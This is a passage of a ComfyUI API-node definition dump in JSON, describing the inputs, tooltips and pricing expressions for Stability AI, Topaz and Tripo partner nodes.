4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "style_preset", "cfg_scale", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageSD_3_5Node", "display_name": "Stability AI Stable Diffusion 3.5 Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model,\"large\")\n ? {\"type\":\"usd\",\"usd\":0.065}\n : {\"type\":\"usd\",\"usd\":0.035}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleConservativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.35, "min": 0.2, "max": 0.5, "step": 0.01}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleConservativeNode", "display_name": "Stability AI Upscale Conservative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.3, "min": 0.1, "max": 0.5, "step": 0.01}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "style_preset", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleCreativeNode", "display_name": "Stability AI Upscale Creative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleFastNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleFastNode", "display_name": "Stability AI Upscale Fast", "description": "Quickly upscales an image via Stability API call to 4x its original size; intended for upscaling low-quality/compressed images.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.02}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityTextToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "steps"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityTextToAudio", "display_name": "Stability AI Text To Audio", "description": "Generates high-quality music and sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "StabilityAudioToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "strength": ["FLOAT", {"tooltip": "Parameter controls how much influence the audio parameter has on the generated audio.", "default": 1, "min": 0.01, "max": 1.0, "step": 0.01, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioToAudio", "display_name": "Stability AI Audio To Audio", "description": "Transforms existing audio samples into new high-quality compositions using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityAudioInpaint": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "mask_start": ["INT", {"advanced": true, "default": 30, "min": 0, "max": 190, "step": 1}], "mask_end": ["INT", {"advanced": true, "default": 190, "min": 0, "max": 190, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "mask_start", "mask_end"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioInpaint", "display_name": "Stability AI Audio Inpaint", "description": "Transforms part of existing audio sample using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["Reimagine"]}], "image": ["IMAGE", {}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional text prompt for creative upscaling guidance.", "default": "", "multiline": true}], "subject_detection": ["COMBO", {"advanced": true, "multiselect": false, "options": ["All", "Foreground", "Background"]}], "face_enhancement": ["BOOLEAN", {"tooltip": "Enhance faces (if present) during processing.", "advanced": true, "default": true}], "face_enhancement_creativity": ["FLOAT", {"tooltip": "Set the creativity level for face enhancement.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "face_enhancement_strength": ["FLOAT", {"tooltip": "Controls how sharp enhanced faces are relative to the background.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "crop_to_fill": ["BOOLEAN", {"tooltip": "By default, the image is letterboxed when the output aspect ratio differs. Enable to crop the image to fill the output dimensions.", "advanced": true, "default": false}], "output_width": ["INT", {"tooltip": "Zero value means to calculate automatically (usually it will be original size or output_height if specified).", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "output_height": ["INT", {"tooltip": "Zero value means to output in the same height as original or output width.", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "creativity": ["INT", {"default": 3, "min": 1, "max": 9, "step": 1, "display": "slider"}], "face_preservation": ["BOOLEAN", {"tooltip": "Preserve subjects' facial identity.", "advanced": true, "default": true}], "color_preservation": ["BOOLEAN", {"tooltip": "Preserve the original colors.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "subject_detection", "face_enhancement", "face_enhancement_creativity", "face_enhancement_strength", "crop_to_fill", "output_width", "output_height", "creativity", "face_preservation", "color_preservation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazImageEnhance", "display_name": "Topaz Image Enhance", "description": "Industry-standard upscaling and image enhancement.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/image/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazVideoEnhance": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_enabled": ["BOOLEAN", {"default": true}], "upscaler_model": ["COMBO", {"multiselect": false, "options": ["Starlight (Astra) Fast", "Starlight (Astra) Creative", "Starlight Precise 2.5"]}], "upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}, "optional": {"upscaler_creativity": ["COMBO", {"tooltip": "Creativity level (applies only to Starlight (Astra) Creative).", "advanced": true, "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}], "interpolation_enabled": ["BOOLEAN", {"default": false}], "interpolation_model": ["COMBO", {"advanced": true, "default": "apo-8", "multiselect": false, "options": ["apo-8"]}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_frame_rate": ["INT", {"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}], "dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "advanced": true, "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_enabled", "upscaler_model", "upscaler_resolution"], "optional": ["upscaler_creativity", "interpolation_enabled", "interpolation_model", "interpolation_slowmo", "interpolation_frame_rate", "interpolation_duplicate", "interpolation_duplicate_threshold", "dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhance", "display_name": "Topaz Video Enhance (Legacy)", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazVideoEnhanceV2": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Astra 2", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["FLOAT", {"tooltip": "Creative strength of the upscale.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.1, "display": "slider"}], "prompt": ["STRING", {"tooltip": "Optional descriptive (not instructive) scene prompt.Capping input at 450 frames (~15s @ 30fps) when set.", "default": "", "multiline": true}], "sharp": ["FLOAT", {"tooltip": "Pre-enhance sharpness: 0.0=Gaussian blur, 0.5=passthrough (default), 1.0=USM sharpening.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "realism": ["FLOAT", {"tooltip": "Pulls output toward photographic realism.Leave at 0 for the model default.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}, {"key": "Starlight (Astra) Fast", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Starlight (Astra) Creative", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["COMBO", {"tooltip": "Creative strength of the upscale.", "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}]}}}, {"key": "Starlight Precise 2.5", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Disabled", "inputs": {"required": {}}}]}], "interpolation_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Disabled", "inputs": {"required": {}}}, {"key": "apo-8", "inputs": {"required": {"interpolation_frame_rate": ["INT", {"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}]}}}]}]}, "optional": {"dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_model", "interpolation_model"], "optional": ["dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhanceV2", "display_name": "Topaz Video Enhance", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscaler_model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscaler_model.upscaler_resolution", "type": "COMBO"}, {"name": "interpolation_model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $model := $lookup(widgets, \"upscaler_model\");\n $res := $lookup(widgets, \"upscaler_model.upscaler_resolution\");\n $interp := $lookup(widgets, \"interpolation_model\");\n $is4k := $contains($res, \"4k\");\n $hasInterp := $interp != \"disabled\";\n $rates := {\n \"starlight (astra) fast\": {\"hd\": 0.43, \"uhd\": 0.85},\n \"starlight precise 2.5\": {\"hd\": 0.70, \"uhd\": 1.54},\n \"astra 2\": {\"hd\": 1.72, \"uhd\": 2.85},\n \"starlight (astra) creative\": {\"hd\": 2.25, \"uhd\": 3.99}\n };\n $surcharge := $is4k ? 0.28 : 0.14;\n $entry := $lookup($rates, $model);\n $base := $is4k ? $entry.uhd : $entry.hd;\n $hi := $base + ($hasInterp ? $surcharge : 0);\n $model = \"disabled\"\n ? {\"type\":\"text\",\"text\":\"Interpolation only\"}\n : ($hasInterp\n ? {\"type\":\"text\",\"text\":\"~\" & $string($base) & \"\u2013\" & $string($hi) & \" credits/src frame\"}\n : {\"type\":\"text\",\"text\":\"~\" & $string($base) & \" credits/src frame\"})\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextToModelNode": {"input": {"required": {"prompt": ["STRING", {"multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"multiline": true}], "model_version": ["COMBO", {"default": "v2.5-20250123", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["prompt"], "optional": ["negative_prompt", "model_version", "style", "texture", "pbr", "image_seed", "model_seed", "texture_seed", "texture_quality", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextToModelNode", "display_name": "Tripo: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 20 : (\n ($withTexture ? 20 : 10)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["model_version", "style", "texture", "pbr", "model_seed", "orientation", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoImageToModelNode", "display_name": "Tripo: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoMultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"image_left": ["IMAGE", {}], "image_back": ["IMAGE", {}], "image_right": ["IMAGE", {}], "model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"tooltip": "This parameter is deprecated and does nothing.", "advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", 